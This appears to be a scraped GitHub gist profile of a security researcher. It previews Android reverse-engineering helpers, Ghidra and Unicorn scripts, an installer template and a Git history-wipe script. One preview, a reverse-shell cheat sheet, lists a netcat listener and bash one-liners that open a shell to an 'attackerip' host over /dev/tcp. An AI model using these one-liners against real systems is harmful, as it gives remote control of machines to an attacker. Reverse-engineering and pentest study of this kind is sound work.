Skip to content

Instantly share code, notes, and snippets.

Avatar

Joan Calabrés jcalabres

  • Brightsight
  • Barcelona
View GitHub Profile
@jcalabres
jcalabres / monkey_dump.py
Last active Jun 27, 2020
Automates unpacking process.
View monkey_dump.py
# by jcalabres
"""
$1=APK PATH
"""
import os
from os import system
from sys import *
PRODUCTION=False
UNPACKER="FRIDA-DEXDump"
@jcalabres
jcalabres / android-re.sh
Last active Feb 21, 2020
Android RE Bash Utilities
View android-re.sh
adb root
function jdwp-attach(){
adb jdwp
adb forward tcp:7777 jdwp:$1
echo "suspend"; cat; } | jdb -attach localhost:7777
}
function get-package(){
adb shell pm list packages | grep $1 | cut -d ":" -f 2
@jcalabres
jcalabres / FunctionsBacktrace.py
Last active Jan 12, 2020
Ghidra functions and strings backtracing
View FunctionsBacktrace.py
#by jcalabres
import ghidra.framework.Platform
fileinput=open("/root/ghidra_scripts/functions.txt","r")
fileoutput=open("/root/ghidra_scripts/functions_out.txt","w")
separator = "*"
def printAndWrite(line):
print(line)
fileoutput.write(line+"\n")
View ReverseShellsOneLiners.txt
nc -nvlp 4444
#Bash
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done # or:
@jcalabres
jcalabres / installer.iss
Last active Apr 24, 2021
Inno Setup Windows Installer
View installer.iss
; Script generated by the Inno Setup Script Wizard.
; SEE THE DOCUMENTATION FOR DETAILS ON CREATING INNO SETUP SCRIPT FILES!
#define MyAppName "{APPNAME}"
#define MyAppVersion "{VERSION}"
#define MyAppPublisher "{PUBLISHER}"
#define MyAppURL "{URL}"
[Setup]
; NOTE: The value of AppId uniquely identifies this application. Do not use the same AppId value in installers for other applications.
@jcalabres
jcalabres / getgists.py
Last active Jan 12, 2020
Get all the gists of a user
View getgists.py
# Download all public gist for a user
# by using v3 gist api (https://developer.github.com/v3/gists/)
import requests, json
from pathlib import Path
headers = {"content-type" : "application/json"}
url = 'https://api.github.com/users/jcalabres/gists'
r = requests.get(url, headers = headers)
@jcalabres
jcalabres / unicorn_example.py
Last active Oct 10, 2019
Unicorn emulation example
View unicorn_example.py
#!/usr/bin/env python
from __future__ import print_function
from unicorn import *
from unicorn.x86_const import *
from capstone import *
import sys
#******* Architectures (from unicorn.h) ******************************************************************
# typedef enum uc_arch {
@jcalabres
jcalabres / ld_preload.py
Last active Feb 21, 2020
Automatic LD_PRELOAD on Android
View ld_preload.py
from adb.client import Client as AdbClient
from sys import *
import os
if __name__=="__main__":
print("[*] Simple script to automatize LD_PRELOAD process on android applications.")
if len(argv)!=3:
print("[-] Specify PACKAGE_NAME and PATH_LIB.")
exit(0)
package=argv[1]
@jcalabres
jcalabres / jni_all.h
Last active Dec 3, 2021 — forked from Jinmo/jni_all.h
JNI types for IDA Pro/Ghidra
View jni_all.h
/*
* Copyright (c) 1996, 1998, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
@jcalabres
jcalabres / delete_commits.sh
Last active Jan 12, 2020
Delete all commits from Git
View delete_commits.sh
git checkout --orphan latest_branch && \
git add -A && \
git commit -am "initial commit" && \
git branch -D master && \
git branch -m master && \
git push -f origin master